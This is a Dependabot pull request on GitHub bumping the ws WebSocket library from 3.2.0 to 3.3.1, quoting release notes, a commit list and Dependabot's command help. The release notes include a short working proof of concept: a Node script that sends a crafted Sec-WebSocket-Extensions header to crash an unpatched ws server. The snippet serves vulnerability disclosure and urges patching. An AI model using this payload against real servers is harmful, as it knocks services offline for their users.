bjb568 / DevDoodle

https://devdoodle.net
9 stars 0 forks source link

Bump ws from 3.2.0 to 3.3.1 #385

Open dependabot[bot] opened 4 years ago

dependabot[bot] commented 4 years ago

Bumps ws from 3.2.0 to 3.3.1.

Release notes

Sourced from ws's releases.

3.3.1

Bug fixes

  • Fixed a DoS vulnerability (c4fe466).

A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor'

const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', Sec-WebSocket-Extensions: ${payload}, 'Upgrade: websocket', '\r\n' ].join('\r\n');

const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); });

The vulnerability has been privately reported by Nick Starke and Ryan Knell of Sonatype Security Research and promptly fixed. Please update now!

3.3.0

Features

  • Added ecdhCurve option (#1228).
Commits
  • 70eb3b2 [dist] 3.3.1
  • c4fe466 [security] Fix DoS vulnerability
  • 56f8062 [dist] 3.3.0
  • 72751d3 [test] Skip family option test if IPv6 is not supported
  • e5772a3 chore(package): update nyc to version 11.3.0 (#1230)
  • db729ef [doc] Add documentation for the ecdhCurve option
  • d0741fa [feature] Add ecdhCurve option (#1228)
  • 9303db3 [ci] Test on node 9
  • 48b0496 [ci] Do not test on node 4.1.0, use 4.2.0 instead
  • d6934af [test] Fix error validation on node 9
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/bjb568/DevDoodle/network/alerts).